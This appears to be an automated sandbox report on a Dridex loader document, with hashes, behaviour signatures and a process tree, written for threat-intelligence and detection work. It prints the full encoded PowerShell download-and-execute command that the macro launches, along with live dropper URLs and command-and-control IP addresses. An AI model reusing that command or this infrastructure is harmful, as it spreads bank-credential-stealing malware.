dridex | 76b1e67c05fb015acfb6387b20b3db04968ebdfb3ec9cbc0bd9885053a9f43b7

General

Target
Sept29-2020.doc
Size 100KB
Sample200929-3b59fn2ffj
SHA256 76b1e67c05fb015acfb6387b20b3db04968ebdfb3ec9cbc0bd9885053a9f43b7
MD5 d19e2afc2c054ed51820f6ae8fb709d0
SHA1 6f762aecbab2e5bb3c0ff64c89785d0476a7230c
SHA512 ff5c4f99c405c975d825fe2bd89f1d5395d6f8513172c859e4849574882a59956f874c1f3fec3e61594b2953392e6b6d2263e706fad31de3b915c2adf03a8854
MD5 SHA1 SHA512

Score

10^/10

dridex 10555 botnet loader

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://kazanagroceryandgifts.com/l1vjebjq.rar
exe.dropper
https://pumppazh.com/px9cb1l.rar
exe.dropper
https://latest.sowilo.co.za/swgcregeb.rar
exe.dropper
https://aksmusicgroup.com/tfh7f4zs.zip
exe.dropper
https://fit-city.online/z5d13zg.pdf

Extracted

Family

dridex

Botnet

10555

C2

67.79.105.174:3786
51.83.96.87:443
192.175.111.212:14043
45.79.226.106:3098

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1784	2548	POwersheLL.exe	73

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

resource	yara_rule
behavioral2/memory/1016-16-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1784	POwersheLL.exe

Loads dropped DLL 1 IoCs

pid	Process
1016	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1784	POwersheLL.exe
1784	POwersheLL.exe
1784	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1784	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1784 wrote to memory of 3668	1784	POwersheLL.exe	79
PID 1784 wrote to memory of 3668	1784	POwersheLL.exe	79
PID 3668 wrote to memory of 1016	3668	rundll32.exe	80
PID 3668 wrote to memory of 1016	3668	rundll32.exe	80
PID 3668 wrote to memory of 1016	3668	rundll32.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Sept29-2020.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABYAG4AYgBlAGEAbwBuAD0AKAAoACcAWAAnACsAJwAxADMAJwApACsAKAAnAHMAZAByACcAKwAnADkAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlACcAKwAnAG0AJwApACAAJABFAE4AdgA6AHUAcwBFAFIAcAByAG8ARgBpAEwARQBcAEwAVAAwAGYAVQA1AE8AXABBADEAdABhAGwAaABqAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAQwBUAG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAFIAaQBUAHkAcABSAGAAbwBgAFQATwBgAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKwAnACwAIAB0ACcAKQArACgAJwBsACcAKwAnAHMAMQAnACkAKwAoACcAMQAnACsAJwAsACAAdABsACcAKQArACcAcwAnACkAOwAkAE4AMgBlADQAZQAyAG0AIAA9ACAAKAAnAE8AJwArACcAZwAnACsAKAAnAHIAdQAnACsAJwB0AG0AdAAwACcAKwAnAHoAJwApACkAOwAkAFUAZABvAGIANABsAHMAPQAoACgAJwBXADIAJwArACcAegBpAGcAJwApACsAJwBiAGYAJwApADsAJABUAGMAMgA0ADQAOABjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHUAJwArACgAJwBQAFkATAB0ACcAKwAnADAAZgAnACsAJwB1ACcAKQArACgAJwA1AG8AdQBQACcAKwAnAFkAQQAnACkAKwAnADEAdAAnACsAJwBhACcAKwAoACcAbABoACcAKwAnAGoAJwArACcAdQBQAFkAJwApACkALgAiAHIARQBQAGAATABgAEEAQwBFACIAKAAoACcAdQAnACsAJwBQAFkAJwApACwAJwBcACcAKQApACsAJABOADIAZQA0AGUAMgBtACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABGADYAYgA4AHoAdAAzAD0AKAAnAE0AJwArACcAZgAxACcAKwAoACcAegB0AHYAJwArACcANgAnACkAKQA7ACQATwBuAHIANQBnADMAaAA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAQgBjAEwAaQBlAG4AVAA7ACQAWgBfADUAawBqAGgAagA9ACgAJwBoAHQAJwArACgAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGsAJwArACgAJwBhAHoAYQAnACsAJwBuACcAKQArACgAJwBhAGcAcgAnACsAJwBvAGMAJwApACsAKAAnAGUAJwArACcAcgB5ACcAKQArACcAYQAnACsAJwBuAGQAJwArACgAJwBnACcAKwAnAGkAZgAnACkAKwAoACcAdAAnACsAJwBzAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGwAJwArACcAMQB2AGoAJwApACsAJwBlACcAKwAnAGIAJwArACcAagBxACcAKwAnAC4AJwArACcAcgBhACcAKwAoACcAcgAqAGgAJwArACcAdAB0ACcAKwAnAHAAJwApACsAKAAnAHMAOgAnACsAJwAvACcAKQArACcALwBwACcAKwAoACcAdQBtACcAKwAnAHAAJwApACsAJwBwACcAKwAnAGEAegAnACsAKAAnAGgALgBjAG8AbQAnACsAJwAvAHAAeAAnACsAJwA5AGMAYgAnACkAKwAoACcAMQAnACsAJwBsAC4AcgAnACkAKwAoACcAYQByACcAKwAnACoAJwApACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAcwA6AC8AJwApACsAJwAvACcAKwAoACcAbABhAHQAJwArACcAZQBzAHQALgAnACkAKwAoACcAcwBvAHcAaQAnACsAJwBsAG8ALgAnACkAKwAnAGMAJwArACgAJwBvAC4AJwArACcAegBhACcAKQArACgAJwAvAHMAdwBnAGMAJwArACcAcgBlAGcAJwArACcAZQAnACkAKwAoACcAYgAuAHIAJwArACcAYQAnACkAKwAnAHIAKgAnACsAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AJwArACcAYQAnACkAKwAnAGsAJwArACcAcwAnACsAKAAnAG0AdQBzACcAKwAnAGkAJwArACcAYwBnAHIAJwApACsAKAAnAG8AJwArACcAdQBwACcAKwAnAC4AYwBvAG0AJwArACcALwB0AGYAaAAnACkAKwAnADcAZgAnACsAKAAnADQAegBzAC4AegAnACsAJwBpACcAKwAnAHAAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcABzADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBmACcAKwAnAGkAdAAnACkAKwAnAC0AYwAnACsAJwBpACcAKwAoACcAdAB5AC4AbwBuACcAKwAnAGwAaQAnACkAKwAoACcAbgBlACcAKwAnAC8AegA1AGQAJwApACsAJwAxADMAJwArACgAJwB6AGcALgAnACsAJwBwACcAKQArACcAZABmACcAKQAuACIAcwBgAHAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABMAGIAdgBrAHoANwA4AD0AKAAoACcAQQBiAHYAZwAnACsAJwBnACcAKwAnAGwAJwApACsAJwBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFEANwBvADgAZABzAHIAIABpAG4AIAAkAFoAXwA1AGsAagBoAGoAKQB7AHQAcgB5AHsAJABPAG4AcgA1AGcAMwBoAC4AIgBkAG8AVwBOAGwAYABPAEEAYABEAGYAaQBsAEUAIgAoACQAUQA3AG8AOABkAHMAcgAsACAAJABUAGMAMgA0ADQAOABjACkAOwAkAEsAeQBkAHoAOAAzAGsAPQAoACgAJwBJACcAKwAnADMAdgB5AHcAJwApACsAJwA0AHMAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFQAYwAyADQANAA4AGMAKQAuACIATABFAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYAMQA1ADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAJwArACcAMwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABUAGMAMgA0ADQAOABjACwAMAA7ACQAUAA0AGYAcQA3AGgAbgA9ACgAKAAnAE8AJwArACcANwB5ADAAdgAnACkAKwAnAHEAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEgAbAA3AHIAZwBnAHkAPQAoACgAJwBJAF8AJwArACcAOQAnACkAKwAoACcAawBqADcAJwArACcAaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASABrAHcAdAA2AF8AdAA9ACgAKAAnAFQAJwArACcAMwBtADgAJwApACsAJwB4AGwAJwArACcAMQAnACkA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lt0fu5o\A1talhj\Ogrutmt0z.dll,0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Lt0fu5o\A1talhj\Ogrutmt0z.dll,0
    3⤵
    - Loads dropped DLL
    PID:1016

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1016-16-0x0000000000400000-0x000000000043D000-memory.dmp

Download

memory/1784-9-0x00007FFBBB430000-0x00007FFBBBE1C000-memory.dmp

Download

memory/1784-10-0x0000028A82180000-0x0000028A82181000-memory.dmp

Download

memory/1784-11-0x0000028A9A3A0000-0x0000028A9A3A1000-memory.dmp

Download

memory/2460-0-0x00007FFBC2C00000-0x00007FFBC32C6000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads